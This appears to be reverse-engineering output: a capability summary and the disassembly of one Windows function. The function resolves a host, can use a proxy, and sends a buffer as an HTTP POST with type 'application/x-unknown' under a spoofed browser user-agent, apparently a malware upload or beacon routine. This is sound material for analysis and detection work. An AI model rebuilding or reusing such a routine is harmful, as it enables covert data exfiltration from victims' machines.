Function at 0x4021ba
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Receive data
Receive data on socket
Reference http user-agent string
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x45e32c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0x18]
push ebx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x10]
test eax, eax
push esi
push edi
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x18], edx
je 0x4023c0
cmp dword [ebp + 0x14], 0
je 0x4023c0
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov esi, eax
test esi, esi
je 0x4023c0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [ebp - 0x1c], ebx
je 0x4023c0
cmp byte [0x45fa9c], 0
mov word [ebp - 0x14], 2
je 0x40225a
movzx eax, word [0x45fa98]
push eax
call dword [sym.imp.WS2_32.dll_htons]
push dword [0x45fa94]
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_htonl]
mov dword [ebp - 0x20], eax
push 4
lea eax, [ebp - 0x20]
push eax
jmp 0x402271
push dword [ebp + 0x1c]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
movsx eax, word [esi + 0xa]
push eax
mov eax, dword [esi + 0xc]
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call fcn.00426fb0
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
add esp, 0xc
push 8
lea eax, [ebp - 0x24]
push eax
push 0x1006
mov edi, 0xffff
push edi
push ebx
mov dword [ebp - 0x24], 0xbb8
call esi
push 8
lea eax, [ebp - 0x24]
push eax
push 0x1005
push edi
push ebx
call esi
push 0x10
lea eax, [ebp - 0x14]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x4023c0
mov ebx, dword [ebp + 0x14]
lea eax, [ebx + 0x480]
push eax
call fcn.00426ac7
cmp dword [0x57d014], 0
mov esi, eax
pop ecx
mov eax, str.Mozilla_5.0__Windows__U__Windows_NT_5.1__cs__rv:1.8.1.11__Firefox_2.0.0.11
jne 0x4022e8
mov eax, str.Mozilla_4.0__compatible__MSIE_7.0__Windows_NT_5.1_
push ebx
push eax
push dword [ebp - 0x30]
push dword [ebp - 0x28]
push str.POST__s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:__s_r_nContent_Type:_application_x_unknown_r_nContent_Length:__d_r_n
push esi
call fcn.0042772f
add esp, 0x18
cmp dword [ebp - 0x18], 0
je 0x40231e
push dword [ebp - 0x18]
push str._s_r_n
push esi
call fcn.004268f0
pop ecx
add eax, esi
push eax
call fcn.0042772f
add esp, 0xc
push 0x43ec40
push esi
call fcn.00426990
push esi
call fcn.004268f0
push ebx
push dword [ebp - 0x2c]
mov edi, eax
lea eax, [edi + esi]
push eax
call fcn.00426fb0
mov eax, dword [ebp + 0x14]
xor ebx, ebx
and dword [ebp - 0x18], ebx
add esp, 0x18
add eax, edi
mov dword [ebp - 0x20], eax
cmp ebx, dword [ebp - 0x20]
jge 0x4023a3
mov eax, edi
sub eax, ebx
add eax, dword [ebp + 0x14]
mov ecx, 0x400
cmp eax, ecx
jle 0x402365
mov eax, ecx
push 0
push eax
lea eax, [ebx + esi]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jne 0x40237d
test ebx, ebx
jne 0x4023a3
cmp eax, 0xffffffff
jne 0x402399
inc dword [ebp - 0x18]
cmp word [ebp - 0x18], 5
jge 0x4023d1
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40234e
and dword [ebp - 0x18], 0
add ebx, eax
test eax, eax
jne 0x40234e
push 0
push dword [ebp - 0x20]
push esi
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x4023e3
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00426f93
leave
ret
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_closesocket]
push esi
call fcn.00426076
pop ecx
jmp 0x4023c0
push esi
call fcn.00426076
pop ecx
push dword [ebp - 0x1c]
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
inc eax
jmp 0x4023c2